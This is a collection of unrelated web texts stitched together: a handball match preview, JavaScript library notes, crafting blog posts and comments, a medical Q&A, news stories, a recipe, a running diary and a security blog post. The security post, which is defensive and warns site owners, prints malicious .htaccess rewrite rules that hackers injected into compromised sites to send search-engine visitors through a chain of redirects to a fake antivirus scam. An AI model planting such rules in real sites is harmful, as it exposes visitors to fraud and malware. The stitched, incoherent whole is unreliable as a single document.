CSM and Vardar look to tighten grip on the top
CSM's perfect home record will be tested once again, as Rostov-Don visit the Romanian side, who eliminated them last season in the group matches. There will also be answers from Györ, as the Hungarian team will be learning to play without Nora Mørk, who suffered a season-ending knee injury, while a Danish derby could shed some light on the fourth team who will proceed to the next phase from Group 1.
A Vardar win combined with a Metz loss would see the Macedonian side secure the first place in Group 2 with three games to go, while FTC clash with Bietigheim in a game that could make-or-break the German side's season
· Rostov have lost all of their four previous official games against CSM, including in the quarter-finals two years ago
· Györ have loaned Spanish right back Mireya Gonzalez, after losing Nora Mørk due to a knee injury
· With a win against Buducnost, Vardar will have a nine-game winning streak, their best run in the Women's EHF Champions League
· Metz and FTC face German opposition in their battle for the second place in Group 2
RK Krim Mercator (SLO) vs Györi Audi ETO KC (HUN)
Saturday 10 February, 19:00 hrs local time, live on ehfTV.com
Györ's effortless win against NFH was overshadowed by a season-ending injury for Nora Mørk. The 26-year old right back suffered an ACL injury and will be out for at least six months, adding to Györ's injury woes.
As Anja Althaus and Eduarda Amorim are still on the injury list, Györ loaned Mireya Gonzalez, a left-handed right back from Erd, who will make her debut in the Women's EHF Champions League against Krim.
"It is not easy for us due to Nora's injury, but I hope it will make us even stronger. This is the time for us to work as a team, because we want to achieve what we have planned for the season," said Györ's coach, Ambros Martin.
Krim have only won one of their past four games, a 24:23 hard-fought battle against Midtjylland, which could prove decisive in their challenge for a quarter-final berth.
But they have never won against Györ, who won 11 games and drew three times against Krim. The two sides have also met last season in the Women's EHF Champions League, as the Hungarian powerhouse won both games by a 17-goal margin.
FC Midtjylland (DEN) vs NFH – Nykøbing Falster Handboldclub (DEN)
Sunday 11 February, 16:50 hrs local time, live on ehfTV.com
It could not get any better than this for the Danish fans, as they are treated to a 100% Danish derby in the main round of the Women's EHF Champions League.
The game is do-or-die for FCM, who are in the middle of a four-game losing streak and will be four points behind their rivals in the battle for fourth place in the group. But a win will also boost NFH's hopes for a quarter-final berth in their maiden season in Europe's top flight.
Both team's minds appear to have been set on this clash as both lost their midweek games in the Danish League.
"The task towards the next matches lies in the mental preparation, after a tough home defeat. We lost our last four games in all competitions and it is hard to navigate this period. The girls must win back some confidence. But we also have to be sure that we are ok from a physical standpoint," said FCM's coach, Kristian Kristensen.
There have been nine mutual meetings between the two sides in history, with FCM winning seven, while NFH only won a league game in March 2017.
CSM Bucuresti (ROU) vs Rostov-Don (RUS)
Sunday 11 February, 17:00 hrs local time, live on ehfTV.com
CSM secured a quarter-final berth with their win against FCM last week, but the Romanian side's ambitions are sky-high and they eye first place in the group.
Apart from an unexpected loss against NFH in the group matches, CSM have been impressive both in attack and defence.
The Romanian side boasts the second-best attacking record, with five goals scored less than Vardar, while they have conceded the third fewest goals in the competition, just ten more than Györ.
"Right now, we are exactly where we want to be and we need to stay there. But the game against Rostov will be harder than the win against Györ, so we need to be at 100% again," said Cristina Neagu, who is leading CSM with 59 goals scored this season, only eight less than the top goal scorer of the Women's EHF Champions League, Iveta Luzumova.
Rostov know the threat posed by Neagu and have already prepared for her powerful shots.
"Neagu is one of the best players in the world. She has a powerful shot, maybe the most powerful in the competition. We need to be careful," said Mayssa Pessoa, Rostov's goalkeeper, who has played for CSM between 2014 and 2016, winning the Women's EHF Champions League with them.
Rostov have failed to win any official game against CSM, with the Romanian side enjoying a clear record against the Russian team, including two wins in the quarter-final two seasons ago.
HC Vardar (MKD) vs Buducnost (MNE)
Saturday 10 February, 15:00 hrs local time, live on ehfTV.com
These sides know each other all too well, having met nine times in the past four seasons, including three times in the Women's EHF FINAL 4 in Budapest.
While Vardar may have three wins against the Montenegrin side, they have lost both the semi-finals played against each other, winning, however, the bronze medal game two seasons ago.
But the tables have turned, with Vardar a more compelling candidate for the title this season.
The Macedonian powerhouse won all their previous eight games in the competition and could top their record winning streak from last season if they grab the two points against Buducnost.
However, uncertainty looks to be the best word to describe Vardar's current situation, after a press conference on Thursday, when Gordana Naceva, the team's president, announced that Vardar will focus on homegrown players from next season.
This could play directly into Buducnost's hands, as the hungry Montenegrin team can make a huge step for a quarter-final berth if they manage to win in Skopje, a feat that they managed one year ago.
The immaculate record from this season powered Vardar to the next phase, as the Macedonian side could secure the first place in the group if they win and Metz lose against Thüringer HC on Sunday.
FTC-Rail Cargo Hungaria (HUN) vs SG BBM Bietigheim (GER)
Saturday, 10 February, 16:30hrs local time, live on ehfTV.com
This could be one of the last chances for Bietigheim to earn a quarter-final berth in their maiden season in the Women's EHF Champions League.
But winning in Budapest is no small feat, with FTC losing only once on their home court, a 29:28 on the edge defeat against Vardar, where the Macedonian side hung on to prevent an impressive Hungarian comeback.
The game is particularly important to the hosts, who lost two of their last three games and are eyeing second place in the group, which could help avoid a tough clash against CSM Bucuresti or Györ in the quarter-finals.
"We had a tough game against Metz, who had six world champions in their team. We only lost by two goals and we can win by more at home. Now, we must focus against Bietigheim and we need to give all we can on the court," said FTC's coach Gabor Elek.
There is no room for error for Bietigheim, who are already four points behind Buducnost and FTC and could find themselves further behind after this round.
The German side snatched an important win in the midweek Bundesliga game, 26:25 against rivals Metzingen, to leave themselve only two points behind leaders Thüringer HC, and will hope to carry that form into this clash.
Thüringer HC (GER) vs Metz Handball (FRA)
Sunday, 11 February, 17:00hrs local time, live on ehfTV.com
Iveta Luzumova is putting in an all-time great effort in the Women's EHF Champions League, scoring 68 goals in her first eight games of the competition, with an impressive average of 8.5 goals per game for the German club.
Indeed, the Czech playmaker scored 35% of her team's goals in the competition this season, but will face a sturdy defence, a defence that boasts six players who won the gold medal in the World Championships last December.
With Slovenian right back Ana Gros back in top form, after she scored 10 goals against FTC last Sunday, the French side looks poised to snatch another win that would bring them closer to their second consecutive quarter-final berth.
The feel-good mood has been boosted by the announcement that another world champion, playmaker Gnonsiane Niombla, will bolster Metz's ranks from the next season, with Polish right back Aleksandra Zych also on the way in next season.
The two sides also met last season in the group matches, trading home wins, with Thüringer HC earning a 28:25 win after a tough game which went back and forth.Author: Adrian Costeiu / cor

It's ugly, and doesn't support everything (and gives a ton of warnings when compiled), and requires 10.5 to compile (due to the lack of versioning info in scriptBridge files), but it does work. JSKurtle has been updated to include the ability to use CG routines directly while drawing (via the global "context" variable that is the current context).

Simon Willison blogs about how JQuery won him over. From its faddish start based around CSS selectors (getElementsBySelector), and method chaining, Simon now sees the library in a new light. Simon shows how jQuery supports modern development best practice such as namespaces, giving a quick nod to the richness of jQuery selectors (DOM, CSS and XPath). JQuery's event handling looks natural and offers an event when the dom is ready. It exposes custom events for non-trivial Ajax requests. Simon's so convinced about jQuery that he's willing to overlook his rule that developers should know how a library works before using it.
LowPro is a scripting extension to Prototype written by Dan Webb to make unobtrusive DOM Scripting much easier. Included are an onReady event, adding behaviour using CSS selectors, fixing the this reference to always refer to the element within events, and a mechanism for triggering events.

I love all your fabulous fabric choices!! That star quilt is really going to be fun!!!ReplyDelete
I cannot wait to see the stars being pieced together. It is going to be a brilliant quilt!ReplyDelete
Just brilliantReplyDelete
Love that top fabric in the last photo. All your stars are fabulous. It's going to be a beautiful quilt when you are finished.ReplyDelete
Can't wait for the grand finale - looking wonderful xReplyDelete
Can't wait to see this finished. I hate it when patterns aren't right, I am not as experienced as you and I sit for hours trying to work out what I have done wrong...... only to find it is usually the pattern that is wrong. xReplyDelete
It looks gorgeous, love those backings :)ReplyDelete
Love, love your newest star! Great inspiration!ReplyDelete
Booo.....a fallen star! I hope you can put that skinny star to good use. Thanks for the tip {warning}!!! I love the bright bright of your stars!!! And the background choice looks perfect. I have seen that bird on a wire fabric...it is wonderful!ReplyDelete
Stars! Lots of bright colors! Some of my favorite things!
I think I would need a bit of handholding to accomplish these. Inspirational. Deb.
All the fabrics are looking so nice together. I'll call on you when I g=have trouble putting something like this together.ReplyDelete

Hi Suz,
I love the colours you've used for these stars, very vibrant.
I should point out thought, that the pattern is not wrong. I've actually made this quilt and had no issues whatsoever.
Diagram 5 refers to the half stars which are pieced together to form the full stars. A quick look at the finished photo or the assembly diagram of the quilt clearly shows that the half stars are different.
Hope you enjoy the finished product as much as I have!
Belnda, I didn't say the pattern was wrong. It is just confusing! I wanted to warn others that the picture of a half star is not the star you make for the fill-in space nor can you make a full one and cut it in half This will yield two half stars with no seam allowance. Instruction 4 warns of this!ReplyDelete
Hi Suz,
My apologies, your wording certainly gives the impression that the pattern is wrong.
But Instruction 4 refers to the six points and four ccorners of the quilt, not the half stars.
In any case,keep sewing.
Love your stars. Not all patterns are easy to read so your warning is great. Makes others read carefully. I see Belinda just HAD to have the last word LOL.ReplyDelete

The reason for the pink is today's new challenge over at Make My Monday which was chosen by our former team member, Jan, and is Pretty In Pink.
I've used my favourite fairy stamp for my card which is a Faerie Poppet image by Christine Haworth and I think she's rather adorable.
I'm sure you can see what I mean by all the pink now!
I stamped the little fairy on to smooth cartridge paper with Archival coffee ink and then coloured her with Aquamarkers adding detail with Prismacolor pencils. I then trimmed the image to a square panel and added mats of pink and pale green.
I made the background paper by painting a square of watercolour paper pink then embossing it with a Crafters Companion trellis folder. I then swiped it with Brilliance Pearlescent Orchid and Galaxy Gold inks for some shimmer. I stamped some tiny peg flowers and hearts in some of the trellis debossed areas.
I then die cut a doily (X Cut) and a butterfly (Cheery Lynn) from fuchsia pink card and made a double layer for the butterfly by tracing round the die on lighter pink card and cutting it out.
I stamped the birthday sentiment (Flonzcraft) with Memento Lilac Posies ink and hand cut it out, adding a pale green mat also hand cut.
I assembled the card and finished off with some pink gems.
Have a great day and a good week.
Fliss xx
I'd like to enter my card in the following challenges:
Come and Get It Challenges - Fairy Fantasy
Dragonfly Dreams - Things With Wings
Feeling Crafty Challenge - One For The Girls/Ladies
Quirky Crafts Challenges - Fairy Ring (Sparkle and Sentiment in my case - thanks Cazzy!!!)

Medical questions & health advice by board certified doctors
"I poked my pubic bone really hard on the corner of a chair. It hurts so bad. What could be wrong?"
There is no bruise at all the pain is really bad
I recommend that you go see your doctor. It could be that you have some soft tissue damage due to the trauma of the bump that is causing you pain. This would be similar to the pain that you have with a bruise but is probably too deep to be visible. You could even have some bruising (which is just damage to the tissue causing blood to leak into the soft tissue) that is not visible since there is more tissue. You can have pain in the area if you damaged the bone as well - this could just be some bruising or superficial damage to the bone which would cause pain that will improve slowly over the next couple days. A fracture of the bone is always possible though this really depends on your age, your bone strength, and how hard you hit the area. If you hit yourself really hard it is possible that you fractured your pubic bone. This would cause pain that doesn't really improve and could also cause instability or difficulty walking. Again, I would recommend that you go see your doctor to have the area examined and to make sure there is no instability of the pelvis; this is especially important to do if you have symptoms like difficulty urinating or having bowel movements, if you see swelling in your abdomen, or if you start passing blood.

Negotiators Agree on How Much Money For Education, Training
House and Senate negotiators reached an agreement late last week on a fiscal 1997 spending plan that recommends funding levels for the Department of Education and other federal agencies.
The budget resolution, a nonbinding guide for appropriations panels, is expected to be taken up by the full chambers this week. The new fiscal year begins Oct. 1.
Negotiators had hoped to reach a deal on the plan earlier in the week, but became mired in debate over the level of new funding for all non-entitlement programs.
In the end, the lawmakers compromised on $4 billion in additional funding. That would bring discretionary funding for the category that includes education and training programs to $37.5 billion in 1997. The House had called for $35.4 billion in that area; the Senate initially wanted $38 billion.
The conference-committee negotiators also erased several policy recommendations that the House had included in its version of the resolution, such as the elimination of the Goals 2000: Educate America Act and direct federal loans to college students.
"But that doesn't mean the interest has waned in the House," for scrapping those Clinton administration initiatives, said Chris Ullman, the spokesman for the House Budget Committee.
The document, however, calls for an unspecified cap in the direct-lending program.
Earlier in the week, GOP negotiators declared their unanimity on wanting a balanced federal budget by 2002, even if it means making some unpopular choices between federal programs, and expressed their thoughts on a variety of issues during a 90-minute meeting of the full conference committee.
"We decided we were going to make some tough decisions," said Rep. John Kasich, R-Ohio, the chairman of the Budget Committee. "We were going to put politics on the back burner and put the country on the front burner."
AmeriCorps Funding
In other budget action:
- The House Appropriations Subcommittee on Labor, Health and Human Services, and Education postponed the mark-up of its fiscal 1997 spending bill.
- The House Appropriations Subcommittee on Veterans Affairs, Housing and Urban Development, and Independent Agencies passed a spending bill that would provide $365 million for the AmeriCorps national-service program. That is 9 percent below last year, but far from elimination--a step that was proposed and later voted down.
- The Senate failed to collect the two-thirds majority to approve a constitutional amendment requiring a balanced federal budget. It failed by three votes, 64-35.

(CNN) -- A submarine found by anti-drug police in Ecuador last week cost $4 million to build and could have hauled 6 to 10 metric tons of cocaine, a top U.S. Drug Enforcement Administration official said Wednesday.
The fully functional submarine was built at a drydock at a clandestine complex that housed 50 people, said Jay Bergman, Andean regional director for the DEA.
Authorities found the sub hidden in marshland under triple-canopy jungle, Bergman told CNN's "American Morning" program.
"This is the first seizure of a clandestinely constructed fully operational submarine built to facilitate trans-oceanic drug trafficking," the DEA said in a statement last week.
"Traffickers historically employed slow-moving fishing boats, sail boats, pleasure craft go-fasts," Bergman said last week. "The advent of the narco-submarine presents new detection challenges for maritime interdiction forces. The submarine's nautical range, payload capacity and quantum leap in stealth have raised the stakes for the counter-drug forces and the national security community alike."
The vessel utilizes twin screws and is diesel-electric powered, the agency said. It is about 98 feet (30 meters) long and 9 feet (nearly 3 meters) high from the deck plates to the ceiling. It has a periscope and an air-conditioning system.

The Obama administration's announcement this week that a Baltimore light-rail project will get an expedited environmental review does not affect the timeline for a Purple Line transit link planned for the Washington suburbs, a top Maryland transit official said Thursday.
The Maryland Transit Administration still plans to seek federal and state construction money for a Baltimore Red Line, a proposed east-west light-rail project, and a Purple Line simultaneously, said Henry Kay, who oversees transit projects for the state. Streamlining the federal environmental review and permit process could cut two years off Red Line planning.
"The environmental review is just one part of what we need to do," Kay said. "I don't think by extension you can say a Purple Line will open two years later than a Red Line."
The Red Line's good news has caused a stir on both sides of the Purple Line debate, with supporters seeking assurances from state officials that the project isn't falling behind and opponents saying it signals potential pitfalls in the plan, which envisions a 16-mile light-rail line between Bethesda and New Carrollton.
Many Washington area officials are eyeing a Red Line as the Purple Line's biggest immediate rival for scarce money. While saying publicly that Maryland needs both projects, many say privately that it will be difficult to persuade the Federal Transit Administration to approve — and just as hard to persuade Congress to fund — construction of two major Maryland transit projects simultaneously.
Federal transit money is already highly competitive nationwide, and congressional leaders might cut it in the next long-term transportation bill. Maryland's transportation budgets have also been slashed.
A potential Purple Line won significant federal endorsement last week, when the FTA approved it to advance to the stage of preliminary engineering — permission that the Red Line received in June.
With both light-rail lines at least a decade from opening, Kay said, both schedules could vary widely depending on any problems that arise during design, land acquisition and construction.
For example, Kay said, a 14-mile Red Line, estimated to cost $2.2 billion, would be more challenging to design and build because it includes four miles of tunnels and five underground stations. A Purple Line, estimated at $1.93 billion, would be primarily aboveground. Both face community opposition along their densely populated routes.
The White House's decision to fast-track a Red Line "doesn't imply some kind of choice or preference on our part or on the part of the feds," Kay said.
It was FTA officials, not state transit planners, who submitted the Red Line to the White House for special consideration, Kay said. He said FTA officials called the MTA on Sept. 26 seeking more Red Line data, including how many jobs it would create.
An FTA spokesman speaking on the condition of anonymity said he couldn't predict the timing of either project because of the many factors determining the speed at which proposals move through the federal funding process, which can take more than a decade.
The Red Line was one of 14 infrastructure projects across the country that the White House named Monday that would receive expedited environmental review to create jobs quickly. Other projects included a mixed-use development in the District's Shaw neighborhood.
A Purple Line is designed to improve east-west transit and spur reinvestment in older inner suburbs. The line would connect Maryland's two ends of Metrorail's Red Line with the Green and Orange lines, as well as Amtrak and MARC stations.
Ben Ross, a longtime Purple Line activist, said a Purple Line might be lagging a bit behind a Red Line because state and federal officials foresee potential legal opposition from the Town of Chevy Chase and some supporters of a popular wooded bike and jogging trail between Bethesda and Silver Spring.
"Given the amount of money the opposition has," Ross said, "they've got to take the time to make the paperwork bulletproof."
Ajay Bhatt, president of the nonprofit group Friends of the Capital Crescent Trail, said the state should stop spending tens of millions on Purple Line studies.
"If the state is already in the hole in its transportation fund, and the feds have fast-tracked a Red Line, how can the state even still talk about a Purple Line?" Bhatt said.

About Sesame Seeds
This annual herb can grow as high as seven feet tall, though most plants range two to four feet. The white to lavender-pink flowers, similar in appearance to foxglove, mature into pods containing the edible sesame seeds which burst with a pop when the small seeds are mature. Since this process scatters the seeds, the pods are often harvested by hand before they are fully ripe.
Sesame seed hulls are often removed since they contain 2 to 3 percent oxalic acid, which can interfere with the absorption of calcium and give a bitter flavor.
Prime season for sesame seeds is between September and April when the new crops are harvested. A cologne is made from sesame flowers. The oilcakes left after pressing sesame oil are rich in protein and are used as cattle feed and as a subsistence food.
Sesame Seed Varieties
The seeds come in a variety of colors depending on the plant variety, including shades of brown, red, black, yellow, and most commonly, a pale grayish ivory. The darker seeds are said to be more flavorful but beware of seeds that have been dyed.
Tahini is a paste made of ground sesame seeds which are used in many Near and Far East recipes. You can purchase it prepared in most markets, but it's easy enough to make your own. Just try this homemade tahini recipe.

Did the tube fail from vibration? Life? Bad parts? Bad assembly? No QA or QC? I don't know and I don't care. It is not worth the time to find out. If we did know would the maker even care?
This single tube affirmed that you cannot count on current production tubes. Players always need to have a spare set of tubes when they gig or travel AND just because they are new in the box it does not mean they are good. Run them in your amp for at least ten hours before they are to be considered known good spares (even if they will probably be short lived).
This single tube had the potential to teach me something down the road. Instead it affirmed some of my other beliefs.

Probate and Settlement: Is Your Client Legally Authorized to Participate?
There are a number of issues that can arise during settlement, not the least of which is matters surrounding probate. Probate laws vary by state and within each state, county probate courts have their own sets of rules and procedures. Settlements involving multiple claimants can complicate the process even further, leaving law firms scrambling to track down heirs and get all of the necessary paperwork completed.
While probate is controlled via statutory timelines and local rules and procedures, there are certain steps that law firms can take to help the process move along smoothly. The earlier you start, the better chance you have at getting any issues resolved by the time the settlement proceeds are ready for distribution. In most cases, settlement funds will not be disbursed until the probate process is complete.
6 steps to alleviate probate issues:
As early as possible, follow the six steps below to ensure that your client has the legal authority to participate in litigation, settle the claim, and distribute a settlement owed to an estate.
- Get the right info at the beginning: On your intake form(s), require the claimant to list their relationship to the decedent.
- Gather personal documentation: Request the decedent's death certificate, birth certificates for all children of the decedent, and documentation regarding the decedent's prior marriages (if applicable).
- Ask for probate documents: Request any and all existing probate documents, regardless of whether or not they have been properly filed in a probate court.
- Use available search databases: Run a search to identify all possible heirs.
- Protect yourself: Include provisions in your contract requiring the disclosure of any and all heirs and the immediate notification of your office if probate proceedings begin or if other heirs come forward at any time during representation.
- Keep detailed contact records: Document all attempts to speak with the claimant, as well as details about any information obtained during those attempts.

We have just returned from a walk around the outskirts of the property. No hunting today, just a walk. As we were coming down the steep hill on the back boundary, the pups had been walking a few metres to my left off the dirt roadway. Next thing I see a large Kangaroo bound out of the bushes and down the hill. I looked to my left to see what the pups were doing and both were frozen solid. They have never been this close to a big roo, so I think it put the wind up them a touch :)
I was just standing still, watching the big one bounding down the steep slope when another, even larger one, hopped out of the bush on my left. It headed up the hill parallel to me at first, then it took a 90 degree left turn and headed straight for me. It obviously didn't see me, as it hopped straight into me knocking me over with it's shoulder as it bounded through me. No injuries to either party thankfully, but I bet the Roo had to go home and change it's undies. I know I did!!! :)

"Hanne Darboven's Kulturgeschichte 1880-1983 (Cultural History 1880-1983) (1980-1983) is an overwhelming and encyclopedic installation consisting of 1,590 works on paper and 19 sculptural objects.

Catholic University Mourns Virginia Tech Victims
|Father David O'Connell delivers homily in Caldwell Chapel.
|A student signs a message for the tribute wall in the Pryzbyla Center to remember the victims at Virginia Tech.
An overflow crowd of more than 300 members of the university community, most of them students, packed CUA's Caldwell Hall Chapel for a memorial service that began at 5 p.m. Very Rev. David M. O'Connell, C.M., university president, delivered the homily at the service, which also included Scripture readings and hymns. (To read his homily, click here.)
The 40-minute memorial service was followed by silent prayer throughout the evening, punctuated by a 10 p.m. Rosary that again attracted a standing room only crowd. Students remained to pray in the chapel before the Blessed Sacrament until it closed at midnight.
"This is a tragedy and we really want to be with the people of Virginia Tech in prayer," said senior politics and religion major Joe Branco from Glenn Mills, Pa. Referring to a friend of his enrolled in Virginia Tech's school of engineering, he added, "She's really been in my thoughts and prayers all day."
Students also expressed their condolences and solidarity with the Virginia Tech community through written messages that were posted on a tribute wall established in the Edward J. Pryzbyla University Center. "Know that in your suffering and hurt, we are united with you in our prayers," read one typical note.
Earlier in the day, Father O'Connell sent two messages. The first was a letter of condolence to Charles Steger, the president of Virginia Tech. "I cannot imagine the horror and heartbreak experienced today on the campus of Virginia Polytechnic Institute and State University as your community confronts the senseless tragedy and loss of so many of its members," wrote Father O'Connell. "In the name of the entire Catholic University community, I extend our prayers and support to you and all those affected by this devastating experience."
The second message by the president was a letter to the Catholic University community, which was transmitted via e-mail to all students, faculty and staff. To read the full text, click here.
Shortly after news of the shootings became public, the university went on a heightened state of alert. University officials reviewed their emergency procedures and Father O'Connell scheduled a summit meeting of top administrators for Thursday to discuss if anything more can be done in the area of emergency preparedness. For more information, see link.
Further updates to this article will be posted as they become available.

The snow just kept falling, the winds were picking up and my car was swerving out of control. Those out of control feelings were compounded by fear. That horrible feeling in the pit of your stomach when there's nothing you can do. But My little slipping and sliding pales in comparison to the real issues that many of our residents face.
Just recently, I spoke with a man named Jerry who was wasting away on drugs and alcohol in a cheap motel. I'd been working with Jerry for some time and I knew he was getting worse. My phone rang and I saw the motel's number on my caller ID. Reluctantly, I took his call. I knew he was getting ready to hit me up for some cash to extend his stay. I refused to enable him with cash. He stopped calling. Three weeks later, a local church called to ask me about Jerry. They were starting to feel used by him. I encouraged them to stop enabling him.
I am happy to report that our simple refusal to enable Jerry has encouraged him to take responsibility for himself. Recently, Jerry greeted me in our lobby. He was starting the long, arduous process of healing and recovery.
Jerry has stopped the slipping and sliding. He's regaining control, and the fear is starting to subside. It is our prayer that his life will find traction, direction and transformation.
Thanks for your support. Together we are changing lives for good.

Fall. Pumpkins. Apple cider. Spices. Come this time of year, with a crisp breeze blowing through the windows, I so wish I could just hold up in my kitchen, churning out one delicious fall dessert after another. I am excited to see apples and pears by the bushel-full at the market, fooled once again into being thankful for fall days. Winter is just around the corner and yet I am completely blinded by the sweet possibilities - pies, cakes, cookies, crumbles, ice cream - happy to bid farewell to the suffocating summer haze.
While I slowly transition to baking more on the weekends, weekday baking is almost completely out of the question. But around 4 PM, my sweet tooth attacks and has recently begun demanding fall-inspired sweets. Even with very little time during the week, I can drizzle walnuts with a little maple syrup, a sprinkle of spices, and produce a barely-sweet, but totally satisfying treat in less than 20 minutes.
YIELDS 1 cupThis recipe is a quick cure for a sweet, spicy treat during the fall and winter months. They are also perfect served with a cocktail or glass of wine, either before or after dinner.
4 ounces (about 1 cup) raw walnut halves
4 teaspoons maple syrup
1 teaspoon extra-virgin olive oil
½ teaspoon ground cinnamon
½ teaspoon coarse salt
⅛ teaspoon ground cloves
Preheat oven to 350oF. Line a baking sheet with a SilPat or parchment paper.
Combine walnuts, maple syrup, and olive oil in a medium mixing bowl, stirring to evenly coat the walnuts. In a small mixing bowl, whisk together the cinnamon, salt, and cloves. Add the spice mixture to the walnuts, stirring again to evenly distribute the spices.
Bake until walnuts are very fragrant and toasted, about 10 minutes. Allow the walnuts to cool on the baking sheet prior to serving. Walnuts can be stored in an airtight container.

This is a new post in the series about the Antivirus 2009 .htaccess exploit. I want to share some new information on the topic.
The Federal Trade Commission filed the complaint against the organizers of the bogus computer scanners scam on December 2, 2008 in the U.S. District Court for the District of Maryland.
According to the FTC, the scheme has tricked more than one million consumers into buying computer security products such as WinFixer, WinAntivirus, DriveCleaner, ErrorSafe, and XP Antivirus.
This is the answer why hackers break into even very small sites – they have a way to monetize your site's vulnerability. And more than $40,000,000 in sales is well worth the trouble.
Meanwhile, the malicious scheme is still live. Every day scammers register new domains and change servers.
They have also changed the name of their "scanner". Now it is called Antivirus 360. They just replaced 2009 with 360. Everything else is identical.
I also noticed that hackers started to insert a slightly modified code into .htaccess files.
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://alamaat.com/video/wmv.php [R,L]
It looks like they are no longer interested in Ask.com and Altavista.com traffic. Another change is the first level redirection goes to some compromised Pakistani site.
The whole chain of redirects may look like this:
302 -> http://alamaat .com/ video/wmv.php
302 -> http://ukr-mova .info/flash /go.php?sid=1
302 -> http://protectedgoclicks .com/ soft.php?aid=0553&d=1&product=XPA&refer=d58bf6d15
302 -> http://onlineantivirus-scanner .com/360/ 1/freescan.php?nu=880553
302 -> http://onlineantivirus-scanner .com/360/ 1/en/freescan.php?sid=880553
Another new feature is the intermediary ukr-mova script now redirects Russian-speaking visitors to a Russian porn site that asks to send an SMS to obtain full access to its resources. This way they are trying to monetize ex-USSR visitors which are less likely to pay for software with credit cards.
In conclusion, I'd like to warn against half-measures. I've recently seen a few sites that got reinfected shorty after removing this exploit.
Deleting .htaccess is not enough! You should also write-protect your server files, change passwords, update scripts, remove suspicious files, etc. Check the How to prevent re-infection section in my previous post for more details.
how do i get the 50 bucks i spent on a360
Most of these scam operations run outside of United States jurisdiction, so it is unlikely that you will get your $50 back.
Try installing a legit malware scanner such as SysIntegrity Anti-Malware.
there's a way to remove antivirus 360 manually

Another Voice4Nations Sponsored Well Constructed in Maziwa, Kenya
Published by admin on Mon, 11/23/2015 - 14:00
We're proud to announce that our last water project campaign, a continuation of the Ice Cream Challenge, has now wrapped up and the well has been completed! We just got word from charity:water that the money raised by our generous partners was used to rehabilitate a dysfunctional well in the community of Maziwa, Kenya. The project was completed in the month of November of 2015 with the help of a local partner organization called Action Against Hunger.
The Numbers
- People Served: 610
- Total Project Cost: $19,504.72
- Amount Donated by Voice4Nations Supporters: $1,105
About the Well
The community of Maziwa is located in Southeastern Kenya, near the city of Malindi. The previous well was in a state of disrepair so charity:water and Action Against Hunger stepped in to rebuild the drilled well into a functioning community well. Families in the community of Maziwa all contribute a small fee to have access to the well and were active in the rehabilitation of the well. By involving the local community directly, families have "buy-in" to the well and protection of the equipment that is so desperately needed. Along with the rebuilding of the well, local partners trained community health workers on sanitation best practices and provided them resources to educate the community about reducing the spread of preventable disease in the community. Community members also took part in building structures to protect the well and water source so crucial to the well-being of Maziwa.
Before the well was in place, residents, mostly women and girls, of the community would commonly walk up to two hours to collect water for their families every day. Even then, the water they collected was from unreliable, often polluted sources that often made people sick. Now, with the well they are able to stay in the community during the day and know that they are in fact drinking safe water every day.
Thank You
So, from your friends here at Voice4Nations we'd like to say thank you for your support of this project! We're so excited to see the impact of giving up a little to gain a lot for the greater good with our Ice Cream Challenge project. For more information about the details of the well and charity:water, please visit our project page at charity:water.org.

After the Disney marathon, this wolf went into hibernation mode. Besides, running outside kinda sucked due to the constant snow/ice storms and freezing weather. I don't mind some snow/ice on the roads and at least 25F temperatures, but in NYC, my minimum conditions weren't met most of the time. It was kinda like…
With the extra free time, I decided to return to the kung-fu Wednesday night madness and even started the Mt. Rainier weight training program (getting diesel now). I still manage to run 2x per week: one long run on the weekend, and one 10K with 5 pounds in my backpack (makes such a difference on hills, wow). It's been almost 2 months since my last post, so I'll just mention the highlights.
Fred Lebow Manhattan Half @ Central Park
January 26th, 2014. 8:00AM and 17 degrees. 4073 finishers.
Results: 9:15 pace, 2083th place, ~49% percentile, (F)
This race consisted of 2 Central Park laps. This was perhaps the coldest temperature I've dared to run in; 17F with negative wind chill. Would I do it again, hellz no! My polar vortex armor consisted of my snow hat, balaclava just in case, gloves, tights with my hiking pants over them, double socks, 4 long sleeve layers (all tech shirts) with a fifth jacket layer around my waist just in case. When it comes to taking the trains in NYC, it almost always fails when you need it most. Let's just say that the only way to get to the race at a reasonable time (15 minutes late) was to run for 2 miles from the train stop to the start line at Central Park. I didn't get to stretch or even pee. After watching the last of the runners pass the start line, I finally arrived at the start line with 2 miles behind me already and started my first "race mile" with a bathroom break. The last thing you want to do in this temperature is to expose the only warm parts you have left on your body to the cold, and then you have to re-adjust the shirt layers, ugh, I lost several minutes here. My Garmin wasn't syncing with the satellites, and never did. If you were thirsty, then you had to drink frozen water or Gatorade slush (yea, it was that cold). Just when everything sucked, I tried to seek out the positive to keep me from just quitting and going home. After 2 hours, I finally found the one positive thing… the freakin finish line!
Chinese New Year: The Year of the Horse
After 6+ months, I stepped into the kung-fu temple; a public school cafeteria in Chinatown. After months of marathon training, the butterfly kicks and front hand springs became a bit harder to execute. Completing the double saber routine knocked the wind out of me (2 years ago).
I can't remember all of the moves for most of the non-weapon routines either! How can I possibly perform for the Chinese New Years Demo? Well, I worked with a few masters on a Wednesday night to refresh my memory for one of the routines. With 2 days left, and a jacked up lower back from too many kip-ups, I rehearsed the movements in my mind. The show was a success as usual. We all did our thing. There was lion dancing, lock-technique demonstrations, tai-chi, sword slashing, staff twirling, spear thrusting, chain whipping, and let's not forget punches, palms, kicks, and flips. With just 3 days of practice, I pulled it off, well, most of it. I kinda forgot 20% of the routine and just closed it early. To the untrained eye, I didn't make a mistake, but the masters knew exactly where I messed up, haha.
I'll attempt the crazy staff routine next year, which will require much more than 3 days of practice.
Random Snowstorm Run Session
There are times in life where you have a dumb idea and it actually works out well. After getting hammered with polar vortexes and going a week straight without running, I made up my mind to run during the upcoming weekend, no matter what. Just my luck, the clouds decided to unleash another big snowstorm, surprise surprise. To make a dumb idea dumber, I chose the unpaved Flushing park 10K route. The snow was falling from the sky in bulk and piled up quickly and high. Here was a first, I ran outside with hiking boots and goggles.
After the first mile, the snow kept punching me in the face and made me want to quit and head back. But I'm glad I didn't. After a few minutes, the winds calmed down. It was just me, alone, surrounded by nature painted white. Meadow lake was completely frozen with a layer of snow on top, as if you could just walk across it. A few megapixels could not capture the view. The return trip was epic. The snow was quite high, like a foot. It was like being in the Rocky IV movie when Rocky was running in Russia. Bringing the knees past the waistline for 2 miles was enough to knock me out.
Random Thoughts
